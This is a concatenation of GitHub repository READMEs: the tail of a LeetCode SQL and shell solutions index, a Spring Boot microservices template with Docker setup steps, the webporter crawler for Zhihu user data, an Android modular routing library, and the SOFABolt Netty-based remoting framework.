Reports](https://leetcode.com/problems/managers-with-at-least-5-direct-reports/)|[Solution](../master/database/_570.sql) || Medium | |569|[Median Employee Salary](https://leetcode.com/problems/median-employee-salary/)|[Solution](../master/database/_569.sql) || Hard | |534|[Game Play Analysis III](https://leetcode.com/problems/game-play-analysis-iii/)|[Solution](../master/database/_534.sql)|| Easy| |512|[Game Play Analysis II](https://leetcode.com/problems/game-play-analysis-ii/)|[Solution](../master/database/_512.sql)|| Easy| |511|[Game Play Analysis I](https://leetcode.com/problems/game-play-analysis-i/)|[Solution](../master/database/_511.sql)|| Easy| |262|[Trips and Users](https://leetcode.com/problems/trips-and-users/)|[Solution](../master/database/_262.sql)||Hard| Inner Join |197|[Rising Temperature](https://leetcode.com/problems/rising-temperature/)|[Solution](../master/database/_197.sql)| | Easy| |196|[Delete Duplicate Emails](https://leetcode.com/problems/delete-duplicate-emails/)|[Solution](../master/database/_196.sql)| |Easy| |185|[Department Top Three Salaries](https://leetcode.com/problems/department-top-three-salaries)|[Solution](../master/database/_185.sql)| | Hard| |184|[Department Highest Salary](https://leetcode.com/problems/department-highest-salary)|[Solution](../master/database/_184.sql)| | Medium| |183|[Customers Who Never Order](https://leetcode.com/problems/customers-who-never-order/)|[Solution](../master/database/_183.sql)| | Easy| |182|[Duplicate Emails](https://leetcode.com/problems/duplicate-emails/)|[Solution](../master/database/_182.sql)| | Easy| |181|[Employees Earning More Than Their Managers](https://leetcode.com/problems/employees-earning-more-than-their-managers/)|[Solution](../master/database/_181.sql)| | Easy| |180|[Consecutive Numbers](https://leetcode.com/problems/consecutive-numbers)|[Solution](../master/database/_180.sql)| | Medium| |178|[Rank Scores](https://leetcode.com/problems/rank-scores/)|[Solution](../master/database/_178.sql)| | Medium| |177|[Nth Highest Salary](https://leetcode.com/problems/nth-highest-salary/)|[Solution](../master/database/_177.sql)| | Medium| |176|[Second Highest Salary](https://leetcode.com/problems/second-highest-salary/)|[Solution](../master/database/_176.sql)| | Easy| |175|[Combine Two Tables](https://leetcode.com/problems/combine-two-tables/)|[Solution](../master/database/_175.sql)| | Easy| ## Shell | # | Title | Solutions | Video | Difficulty | Tag |-----|----------------|---------------|---------------|---------------|------------- |195|[Tenth Line](https://leetcode.com/problems/tenth-line/)|[Solution](../master/shell/TenthLine.sh)| | Easy| |194|[Transpose File](https://leetcode.com/problems/transpose-file/)|[Solution](../master/shell/TransposeFile.sh)| | Medium| |193|[Valid Phone Numbers](https://leetcode.com/problems/valid-phone-numbers/)|[Solution](../master/shell/ValidPhoneNumbers.sh)| | Easy| |192|[Word Frequency](https://leetcode.com/problems/word-frequency/)|[Solution](../master/shell/_192.sh)| | Medium| ## Contributing Your ideas/fixes/algorithms are more than welcome! 0. Please make sure your PR builds after submitting! Check out here: https://travis-ci.org/github/fishercoder1534/Leetcode/pull_requests and look for your PR build. 1. Fork this repo 2. Clone your forked repo (`git clone https://github.com/YOUR_GITHUB_USERNAME/Leetcode.git`) onto your local machine 3. `cd` into your cloned directory, create your feature branch (`git checkout -b my-awesome-fix`) 4. `git add` your desired changes to this repo 5. Commit your changes (`git commit -m 'Added some awesome features/fixes'`) 6. Push to the branch (`git push origin my-awesome-feature`) 7. Open your forked repo on Github website, create a new Pull Request to this repo! ## Best way to open this project 1. Install IntelliJ on your machine, either CE or UE. 2. git clone this repo to your local disk 3. import this project as a new project (does need to be imported as a gradle project) 4. If you run into "Could not determine Java version using executable ..." error, use local gradle distribution: "/usr/local/Cellar/gradle/4.8.1/libexec/" instead of the default one. More details, see [this question on Stackoverflow](https://stackoverflow.com/questions/52195643/cannot-find-symbol-intellij-gradle/52196069#52196069).

apache/atlas

Apache Atlas

2017-07-22T07:00:08Z

rohitghatol/spring-boot-microservices

Spring Boot Template for Micro services Architecture - Show cases how to use Zuul for API Gateway, Spring OAuth 2.0 as Auth Server, Multiple Resource (Web Services) Servers, Angular Web App, Eureka dor registration and Discover and Hystrix for circuit breaker

2015-04-06T18:09:38Z

# NOTE **This repository is NO longer being actively maintained and out-of-sync with the latest Spring Boot and Spring Cloud releases.** Please fork the [microservices-basics-spring-boot](https://github.com/anilallewar/microservices-basics-spring-boot) repository for the latest changes. Additional features added to the new repository * Changes for supporting Spring OAuth2 when it moved from Spring cloud to Spring boot in 1.3 version * Docker - building services as containers and orchestrating them using various mechanisms * implementation for consumer driven contracts (CDC) and distributed tracing * Bug fixes ---- # Spring Boot MicroServices Template This repository is an example of how to get Microservices going using Spring Boot, Spring Cloud, Spring OAuth 2 and Netflix OSS frameworks. # Table of Content * [Contributors](#contributors) * [Application Architecture](#application-architecture) * [Using the application](#using-application) * [Running on local m/c](#run_local_mc) * [Running using docker - NOT WORKING](#run_docker) * [Microservices Overview](#microservices-overview) * [Netflix OSS](#netflix-oss) * [Spring Boot Overview](#spring-boot-overview) * [Spring Cloud Overview](#spring-cloud-overview) * [Spring Cloud Config Overview](#spring-cloud-config-overview) * [Spring Cloud Netflix Overview](#spring-cloud-netflix-overview) * [OAuth 2.0 Overview](#oauth-2.0-overview) * [Spring OAuth 2.0 Overview](#spring-oauth-2.0-overview) ## <a name="contributors"></a>Contributors * [Rohit Ghatol](https://www.linkedin.com/in/rohitghatol) * [Anil Allewar](https://www.linkedin.com/pub/anil-allewar/18/378/393) ## <a name="application-architecture"></a>Application Architecture The application consists of 7 different services * [config server](config-server/README.md) - setup external configuration * [webservice-registry](webservice-registry/README.md) - Eureka server * [auth-server](auth-server/README.md) - Oauth2 authorization server * [user-webservice](user-webservice/README.md) - User micro-service * [task-webservice](task-webservice/README.md) - Task micro-service * [comments-webservice](comments-webservice/README.md) - Comments for task micro-service * [api-gateway](api-gateway/README.md) - API gateway that proxies all the micro-services * [web-portal](web-portal/README.md) - Single Page Application that provides the UI ### Target Architecture  ### Application Components  ## <a name="using-application"></a>Using the application ### <a name="run_local_mc"></a>Running on local m/c * You can build all the projects by running the `./build-all-projects.sh` on Mac/Linux systems and then going to each individual folder and running the jars using the `java -jar build/libs/sam<application_name>.jar` command. * Please refer to the individual readme files on instructions of how to run the services. For demo, you can run the applications in the same order listed above. ### <a name="run_docker"></a>Running using docker (**NOTE: NOT WORKING with latest docker 1.8x since the gradle docker task is NOT compatible; also bug in Spring Boot 1.2.x**) * [Docker](https://www.docker.com) is an open platform for building, shipping and running distributed applications. Follow steps on the site to install docker based on your operating system. * Currently there is a **[bug in Spring Boot 1.2.x](https://github.com/spring-projects/spring-boot/commit/8168e8a3275f17646c5c2bf628d2f3417369c583)** that affects the way how JPA starts in an app launched with executable jar. Hence while the docker containers are good to go, we will need to change the application once Spring boot 1.3 is released so that we can run this on docker. * Once docker is setup, we would reset the VM so as to start fresh. The examples were developed on Mac so follow these step; they would be fairly similar on Windows. * Once you open the docker program through terminal, follow these steps * Reset the VM => `boot2docker delete` * Start the VM giving it around 8 GB of RAM => `boot2docker init -m 8192` * Check whether the initialization parameters were successful => `boot2docker info` * Start the VM => `boot2docker up` * To connect the Docker client to the Docker daemon => `$(boot2docker shellinit)` * If you have not added your TLS certs to boot2docker; you would need to change docker to run the API on HTTP; while boot2docker 1.3 comes with TLS enabled. Hence you need to run the following command `$(docker run sequenceiq/socat)` at the docker prompt so that this image maps the api to HTTP port. You can check that it is working correctly(returns OK) using the command `curl http://192.168.59.103:2375/_ping` or connect the `http://192.168.59.103:2375/_ping` URL in the browser. * Run the mysql container using `docker run -d -e MYSQL_ROOT_PASSWORD=password -e MYSQL_DATABASE=auth --name auth-db -p 3306:3306 mysql` * On the mac command prompt, navigate to the root folder of the application (spring-boot-microservices) and run the `./docker-image-all-projects.sh` command. This should build all the images and publish them to docker. * Run the individual images as below; note that the auth-server and api-gateway images fail because of Spring Boot 1.2.x bug. * Config Server * docker run -d --name config-server -p 8888:8888 anilallewar/config-server * docker logs -f config-server * Eureka Server * docker run -d --name registry-server -p 8761:8761 anilallewar/webservice-registry * docker logs -f registry-server * OAuth Server * docker run -d --name auth-server -p 8899:8899 anilallewar/auth-server * docker logs -f auth-server * User Webservice * docker run -d --name user-webservice anilallewar/user-webservice * docker logs -f user-web service * Task Webservice * docker run -d --name task-webservice anilallewar/task-webservice * docker logs -f task-webservice * Comments Webservice * docker run -d --name comments-webservice anilallewar/comments-webservice * docker logs -f comments-webservice * Web Portal * docker run -d --name web-portal anilallewar/web-portal * docker logs -f web-portal * Zuul API Gateway * docker run -d --name api-gateway -p 8080:8080 anilallewar/api-gateway * docker logs -f api-gateway * We also have a [docker-compose](https://docs.docker.com/compose/) file that can be used to start all the containers together using `docker-compose up -d`. However this doesn't work in our case since our containers need to be started in order e.g. config-server before everything, webservice-registry before rest of Eureka clients. Docker compose starts all containers together and this fails because containers like auth-server, web-portal start before their dependent containers have started. Please see [here](https://github.com/docker/compose/issues/374) for more details. * Note: * If the gradle wrapper doesn't work, then install gradle and run `gradle wrapper` before using `gradlew`. * If you need to setup the classpath correctly, then run `./gradlew clean build eclipse` which would setup the `.classpath` accordingly. ## <a name="microservices-overview"></a>Microservices Overview There is a growing adoption of Microservices in today's world. Numerous SAAS Companies are moving away from building monolithical products and instead adopting Microservices. ### Focus on Component In microservices world, a web serive or a microservice is the unit of component. This unit of component delivers a complete Business functionality and could rely on other microservices to fullfil that. These microservices are build separately and deployed separately unlike monoliths in which components can be built separately but are deployed together.  ### Focus on Business Capabilities and Running a Product Another key aspect of microservices is that the focus of a team building a component now moves away from just delivering that component to running and maintainig that business functionality given by that component.  ### Focus on Decentralized Control and Decentalized Data Management Due to the ability to build components separately and running them separately means, the notion of centralized control (goverance) and data management goes away. Traditionally monoliths were built around a set of set architecture, technology and frameworks. The key architects would decide what tech was used and key DBAs would decide which and how many databases are used. With Microservices, since each component caters to a somewhat complete business functionality, that centralized control by Key Architects and DBAs goes away. Some Components are best built using JEE and RDBMS, for some Real time Data Analytics is the key, they could use Apache Storm and Apache Kafka, for some others R is better fit, for IO Intensive systems may Node.js and MongoDB works out. Same way User data could now go in NoSQL databases, Transaction data could go in traditional RDBMS, Recommendation systems could use Hive as their Database and so on. **Decentralized Control**  **Decentalized Data Management**  Disclaimer - While microservices is much talked about these days, make a note Microservices is not a Free lunch. There is an effort and complexity involved to building and running them, but once you do so, the benefits are plentiful. You can read more about Microservices here - http://martinfowler.com/articles/microservices.html#CharacteristicsOfAMicroserviceArchitecture Image References from - http://martinfowler.com/articles/microservices.html ## <a name="netflix-oss"></a>Netflix OSS  Netflix is one of the pioneers behind the Microservices Architecture. Not only have they successfully run Microservices in production, but they have outsourced their battle hardened framework under Netflix Open Source Software Center initiative - http://netflix.github.io/#repo You will find implementation of numerous of Netflix's Microservices platform pieces here. Here are few for your reference ### <img src="http://netflix.github.io/assets/repos/eureka.png" width="30px"> Eureka Microservices is somewhat like SOA platform, that there are numerous services. Each Service when it comes online registers itself with Service Registry. When some other service wants to communicate with a already registered service, they would ask the Eureka Server the base url for that service. Multiple instances of the same service could register with Eureka, in that case Eureka could help in doing Load Balancing. ### <img src="http://netflix.github.io/assets/repos/hystrix.png" width="30px"> Hystrix A Microservices environment is built to sustain failures of its parts, that is few of its microservices. In order to keep the system going, Netflix introduced a concept of circuit breaker. A Circuit Breaker provides alternative behavior in case certain microservice is gone down. This way the system gracefully switches to fallback behavior until the system recovers, rather than entire system suffering the ripple effects of failed service. ### <img src="http://netflix.github.io/assets/repos/zuul.png" width="30px"> Zuul A Microservice environment needs a gateway. A Gateway is the only entity exposed to the outside world, which allows access to Microservices and does more. A Gateway could do * API Metering * Centralized Authentication/Authorization * Load Balancing * etc * ### <img src="http://netflix.github.io/assets/repos/ribbon.png" width="30px"> Ribbon Ribbon is a Load Balancing Client and is meant to work with Eureka Server. Ribbon talks to Eureka server and relies on it to get base url to one of the instances of microservice in question. ## <a name="spring-boot-overview"></a>Spring Boot Overview Folks who are familiar with Spring frameworks like Spring MVC, know spring is all about Dependency Injection and Configuration Management. While Spring is an excellent framework, it still takes quite some effort to make a Spring MVC project ready for production. Spring Boot is Spring's approach towards Convention over Configuration. Spring Boot comes with numerous Start Projects, each starter projects provides a set of conventions which ensures you have a opinionated production ready app. To begin with Spring Boot allows you to write web services with just One or two classes. See the example below ``` build.gradle gradle dependency --> compile("org.springframework.boot:spring-boot-starter-web") ``` ``` Application.java @SpringBootApplication public class Application{ public static void main(String[] args){ SpringApplication.run(Application.class, args); } } ``` ``` UserController.java @RestController public class UserController{ @RequestMapping("/") public User getUser(String id) { return new User(id,"firstName","lastName"); } } ``` Build ``` $>./gradlew clean build say this Generates app.jar ``` Running Application ``` $>java -jar builds/lib/app.jar ``` The idea is to have multiple projects like above, one for each microservice. Look at the following directories in this repo * https://github.com/rohitghatol/spring-boot-microservices/tree/master/user-webservice * https://github.com/rohitghatol/spring-boot-microservices/tree/master/task-webservice You can read in detail about Spring Boot here - https://spring.io/guides/gs/spring-boot/ ## <a name="spring-cloud-overview"></a>Spring Cloud Overview Spring Cloud provides tools for developers to quickly build some of the common patterns in distributed systems (e.g. configuration management, service discovery, circuit breakers, intelligent routing, micro-proxy, control bus, one-time tokens, global locks, leadership election, distributed sessions, cluster state) You can read in detail about Spring Cloud here - http://projects.spring.io/spring-cloud/ ## <a name="spring-cloud-config-overview"></a>Spring Cloud Config Overview Spring Cloud config provides support for externalizing configuration in distributed systems. With the Config Server you have a central place to manage external properties for applications across all environments. You can read in detail about Spring Cloud config here - http://cloud.spring.io/spring-cloud-config/ ## <a name="spring-cloud-netflix-overview"></a>Spring Cloud Netflix Overview Spring Cloud Netflix provides Netflix OSS integrations for Spring Boot apps through autoconfiguration and binding to the Spring Environment and other Spring programming model idioms. You can read in detail about Spring Cloud Netflix here - http://cloud.spring.io/spring-cloud-netflix/ ## <a name="oauth-2.0-overview"></a>OAuth 2.0 Overview OAuth2 is an authorization framework that specifies different ways a third-party application can obtain limited access to determined set of resources.  OAuth defines four roles: **resource owner:** An entity capable of granting access to a protected resource. When the resource owner is a person, it is referred to as an end-user. **resource server:** The server hosting the protected resources, capable of accepting and responding to protected resource requests using access tokens. **client:** An application making protected resource requests on behalf of the resource owner and with its authorization. The term "client" does not imply any particular implementation characteristics (e.g., whether the application executes on a server, a desktop, or other devices). **authorizationserver:** The server issuing access tokens to the client after successfully authenticating the resource owner and obtaining authorization. To get more details of how differnt authorizations work in OAuth2, please refer to the readme at **[auth-server](auth-server/README.md)** ## <a name="spring-oauth-2.0-overview"></a>Spring OAuth2 Overview Spring provides nice integration between Spring security and OAuth2 providers including the ability to setup your own authorization server. Please see [Spring security with OAuth2](http://projects.spring.io/spring-security-oauth/docs/oauth2.html) for more details.

brianway/webporter

基于 webmagic 的 Java 爬虫应用

2016-11-24T04:44:44Z

# webporter webporter 是一个基于垂直爬虫框架 [webmagic](http://webmagic.io/) 的 Java 爬虫应用，旨在提供一套完整的数据爬取，持久化存储和可视化展示的实践样例。 webporter 寓意“我们不生产数据，我们只是互联网的搬运工～” **如果觉得不错，请先在这个仓库上点个 star 吧**，这也是对我的肯定和鼓励，谢谢了。 目前只提供了知乎用户数据的爬虫示例。不定时进行调整和补充，需要关注更新的请 watch、star、fork --- webporter 的主要特色： - 基于国产 Java 爬虫框架 webmagic，是众多 Python 爬虫中的一股清流 - 完全模块化的设计，强大的可扩展性 - 核心简单，但是涵盖爬虫应用的完整流程，是爬虫应用的实践样例 - 使用 JSON 配置，无需改动源码 - 支持多线程 - 支持向 Elasticsearch 批量导入 **注意：webporter 不是爬虫框架，而是如何使用爬虫框架进行实战的样例，偏休闲性质，不建议使用在生产环境。** 生产环境建议使用 webmagic 或者 scrapy webporter 核心模块的架构和设计主要参考了 **webmagic** [https://github.com/code4craft/webmagic](https://github.com/code4craft/webmagic) webporter 的 github 地址：[https://github.com/brianway/webporter](https://github.com/brianway/webporter) ## 效果展示 详细的数据分析文章请看我的博客 [《爬取知乎60万用户信息之后的简单分析》](http://brianway.github.io/2016/12/20/webporter-zhihu-user-analysis/) - 下载数据：去重导入 Elasticsearch 后大概有 60+ 万用户数据(目前没有遇到反爬限制)  - 示例分析：通过聚合得到知乎用户 top 10 行业分布情况(1:男，0:女，-1:未知)  ## 仓库目录 - [webporter-core](/webporter-core):核心基础模块，包括自动配置，抽象逻辑等部分 - [webporter-data-elasticsearch](/webporter-data-elasticsearch):将数据导入 Elasticsearch 的工具模块 - [webporter-collector-zhihu](/webporter-collector-zhihu):知乎用户信息的业务模块，完成爬取和持久化存储的功能 ## 环境要求 - JDK 1.8+ - Maven 3.3+ - Elasticsearch 5.0.1 - Kibana 5.0.1 新手可参考我的博客 [《Elasticsearch 5.0-安装使用》](http://brianway.github.io/2016/12/13/elasticsearch-installation/)快速上手 Elasticsearch+Kibana ## 快速开始 以爬取知乎用户数据为例 1.定制配置文件 配置文件位于 `webporter-collector-zhihu/src/main/resources/config.json`, 示例： ```json { "site": { "domain": "www.zhihu.com", "headers": { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36", "authorization": "Your own authorization here." }, "retryTimes": 3, "sleepTime": 500 }, "base_dir": "/Users/brian/todo/data/zhihu/" } ``` **仅需要修改两处：`authorization` 和 `base_dir` 即可** - `authorization`: 需要知乎账户在已登录状态下自行在浏览器抓包提取该 HTTP 响应头。若有疑问请参考 [issue 3](https://github.com/brianway/webporter/issues/3) - `base_dir`: 为保存数据文件的根目录，需具有写权限 配完就可以直接使用了。更多关于 `site` 的属性配置请参考 [WebMagic in Action - Site Config](http://webmagic.io/docs/zh/posts/ch4-basic-page-processor/spider-config.html) 2.启动爬虫 依次运行 `webporter-collector-zhihu` 模块的下面两个类的 `main` 方法即可。(*注意：由于这两个阶段是串行的,不要同时启动这两个类*) - [`ZhihuFolloweePageProcessor`](/webporter-collector-zhihu/src/main/java/com/brianway/webporter/collector/zhihu/download/ZhihuFolloweePageProcessor.java):该类用于从知乎下载用户信息，下载的数据可以复制粘贴在 [在线 json 格式化工具](http://tool.oschina.net/codeformat/json)中查看 - [`FolloweeUploader`](/webporter-collector-zhihu/src/main/java/com/brianway/webporter/collector/zhihu/upload/FolloweeUploader.java):该类用于将用户信息上传到 Elasticsearch (需要提前安装并运行 Elasticsearch)，知乎数据的 index 名称为 `zhihu` 3.可视化 安装好 [Elasticsearch](https://www.elastic.co/guide/en/elasticsearch/reference/5.0/index.html) 和 [Kibana](https://www.elastic.co/guide/en/kibana/5.0/index.html) 后，在 Kibana 中使用 Visualize 对数据可视化即可 ## 赞助 如果您觉得该项目对您有帮助，请扫描下方二维码对我进行鼓励，以便我更好的维护和更新，谢谢支持！   ## TODO * [x] 数据爬取，获取知乎用户数据 * [x] 数据持久化，将数据导入到 Elasticsearch 中 * [x] 可视化展示，通过前端框架对数据进行简单的分析和展示 * [ ] 使用 Java 8 新特性完善代码 * [ ] Dockerize 这个仓库，方便用户直接使用 ----- ## 联系作者 - [Brian's Personal Website](http://brianway.github.io/) - [CSDN](http://blog.csdn.net/h3243212/) - [oschina](http://my.oschina.net/brianway) Email: weichuyang@163.com ## Lisence Lisenced under [Apache 2.0 lisence](http://opensource.org/licenses/Apache-2.0)

SpinyTech/ModularizationArchitecture

2016-11-25T03:29:54Z

# ModularizationArchitecture ModularizationArchitecture is a routing-based multi-process, component-based architecture on the Android platform: it communicates with different modules and processes by sharing routes without referring to other modules. It is suitable for medium-sized App architecture team collaboration, parallel development, business line decoupling, white-box testing and other scenes. ## Getting Start [开始使用](http://blog.spinytech.com/2017/02/01/ma_get_start_cn/) [Getting Start](http://blog.spinytech.com/2017/02/03/ma_get_start_en/) ## Download Maven: ```xml <dependency> <groupId>com.spinytech.ma</groupId> <artifactId>macore</artifactId> <version>0.2.1</version> <type>pom</type> </dependency> ``` Gradle: ```groovy compile 'com.spinytech.ma:macore:0.2.1' ``` ## ProGuard If you are using ProGuard you might need to add the following option: ``` -dontwarn com.spinytech.** ``` ## Other [Android架构思考](http://blog.spinytech.com/2016/12/28/android_modularization/) ## License Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.

sofastack/sofa-bolt

SOFABolt is a lightweight, easy to use and high performance remoting framework based on Netty.

2018-04-09T03:29:36Z

# SOFABolt Project [](https://travis-ci.com/sofastack/sofa-bolt) [](https://codecov.io/gh/sofastack/sofa-bolt)   [](http://isitmaintained.com/project/sofastack/sofa-bolt "Percentage of issues still open") # 1. 介绍 SOFABolt 是蚂蚁金融服务集团开发的一套基于 Netty 实现的网络通信框架。 * 为了让 Java 程序员能将更多的精力放在基于网络通信的业务逻辑实现上，而不是过多的纠结于网络底层 NIO 的实现以及处理难以调试的网络问题，Netty 应运而生。 * 为了让中间件开发者能将更多的精力放在产品功能特性实现上，而不是重复地一遍遍制造通信框架的轮子，SOFABolt 应运而生。 Bolt 名字取自迪士尼动画-闪电狗，是一个基于 Netty 最佳实践的轻量、易用、高性能、易扩展的通信框架。 这些年我们在微服务与消息中间件在网络通信上解决过很多问题，积累了很多经验，并持续的进行着优化和完善，我们希望能把总结出的解决方案沉淀到 SOFABolt 这个基础组件里，让更多的使用网络通信的场景能够统一受益。 目前该产品已经运用在了蚂蚁中间件的微服务 ([SOFARPC](https://github.com/sofastack/sofa-rpc))、消息中心、分布式事务、分布式开关、以及配置中心等众多产品上。 # 2. 功能介绍  ## SOFABolt　的基础功能包括： * 基础通信功能 ( remoting-core ) * 基于 Netty 高效的网络 IO 与线程模型运用 * 连接管理 (无锁建连，定时断链，自动重连) * 基础通信模型 ( oneway，sync，future，callback ) * 超时控制 * 批量解包与批量提交处理器 * 心跳与 IDLE 事件处理 * 协议框架 ( protocol-skeleton ) * 命令与命令处理器 * 编解码处理器 * 心跳触发器 * 私有协议定制实现 - RPC 通信协议 ( protocol-implementation ) * RPC 通信协议的设计 * 灵活的反序列化时机控制 * 请求处理超时 FailFast 机制 * 用户请求处理器 ( UserProcessor ) * 双工通信 ## 用法1 将 SOFABolt 用作一个远程通信框架，使用者可以不用关心如何实现一个私有协议的细节，直接使用我们内置的 RPC 通信协议。可以非常简单的启动客户端与服务端，同时注册一个用户请求处理器，即可完成远程调用。同时，像连接管理、心跳等基础功能特性都默认可以使用。 当前支持的调用类型如下图所示：  * 示例 Demo 请参考我们的 [用户手册](https://github.com/sofastack/sofa-bolt/wiki/SOFA-Bolt-Handbook#14-%E5%9F%BA%E7%A1%80%E9%80%9A%E4%BF%A1%E6%A8%A1%E5%9E%8B) ## 用法2 将 SOFABolt 用作一个协议框架，使用者可以复用基础的通信模型、协议包含的接口定义等基础功能。然后根据自己设计的私有协议自定义 Command 类型、Command 处理器、编解码处理器等。如下图所示，RPC 和消息的 Command 定义结构：  # 4. 如何贡献 开放代码允许在签署协议之后，提交贡献代码。具体参考[如何参与贡献 SOFABolt 代码](./CONTRIBUTING.md)。 对 SOFABolt 代码的修改和变更，需要遵守[版权协议](./LICENSE)。 # 5. 多语言 * [node](https://github.com/sofastack/sofa-bolt-node) * [python](https://github.com/sofastack/sofa-bolt-python) * [cpp](https://github.com/sofastack/sofa-bolt-cpp) # 6. 用户 <div> <table> <tr> <td align="center" valign="middle"> <img alt="蚂蚁集团" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*aK79TJUJykkAAAAAAAAAAAAAARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="网商银行" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*uAmFRZQ0Z4YAAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="恒生电子" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*_iGLRq0Ih-IAAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="数立信息" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*JAgIRpjz-IgAAAAAAAAAAABjARQnAQ" height="60" /> </td> </tr> <tr> <td align="center" valign="middle"> <img alt="Paytm" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*a0fvTKJ1Xv8AAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="天弘基金" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*99OQT7lDBsMAAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="中国人保" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*P1BARJxwv1sAAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="信美相互" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*jAzWQpIgFUAAAAAAAAAAAABjARQnAQ" height="60" /> </td> </tr> <tr> <td align="center" valign="middle"> <img alt="南京银行" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*q9PMQI7hs8sAAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="民生银行" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*GnUuSKmOtS4AAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="重庆农商行" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*FKrxSYhdi2wAAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="中信证券" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*t-xbQb3WSjcAAAAAAAAAAABkARQnAQ" height="60" /> </td> </tr> <tr> <td align="center" valign="middle"> <img alt="富滇银行" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*JCDYT6u6_asAAAAAAAAAAAAAARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="挖财" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*lVrVT4dpSDEAAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="拍拍贷" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*TAePS6j56LsAAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="OPPO金融" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*mU40QaJkwZYAAAAAAAAAAABjARQnAQ" height="60" /> </td> </tr> <tr> <td align="center" valign="middle"> <img alt="运满满" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*_kBbQYUYdIQAAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="译筑科技" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*wuKSTpZSEkEAAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="杭州米雅信息科技" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*b-o5SITMKu0AAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="邦道科技" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*nsw1S5bt9DkAAAAAAAAAAABjARQnAQ" height="60" /> </td> </tr> <tr> <td align="center" valign="middle"> <img alt="申通快递" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*C3ncSpDsjS8AAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="深圳大头兄弟文化" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*8AYmRowxSC0AAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="烽火科技" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*MjuuT4omCrwAAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="亚信科技" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*vBBIRomYoEUAAAAAAAAAAABjARQnAQ" height="60" /> </td> </tr> <tr> <td align="center" valign="middle"> <img alt="成都云智天下科技" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*p0OkQbC5RvsAAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="上海溢米辅导" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*mJdtTJsn1PwAAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="态赋科技" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*sfLDRL5TJx8AAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="风一科技" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*EGeMR4qprnkAAAAAAAAAAABjARQnAQ" height="60" /> </td> </tr> <tr> <td align="center" valign="middle"> <img alt="武汉易企盈" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*31WRQ7zg3HIAAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="极致医疗" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*cPOiS5q8NCwAAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="京东" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*INhuS44qO8YAAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="小象生鲜" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*K5ERQYbCRBgAAAAAAAAAAABjARQnAQ" height="60" /> </td> </tr> <tr> <td align="center" valign="middle"> <img alt="北京云族佳" src="https://gw.alipayobjects.com/mdn/sofastack/afts/img/A*qzxjSZ2tlmIAAAAAAAAAAABjARQnAQ" height="60" /> </td> <td align="center" valign="middle"> <img alt="欣亿云网" 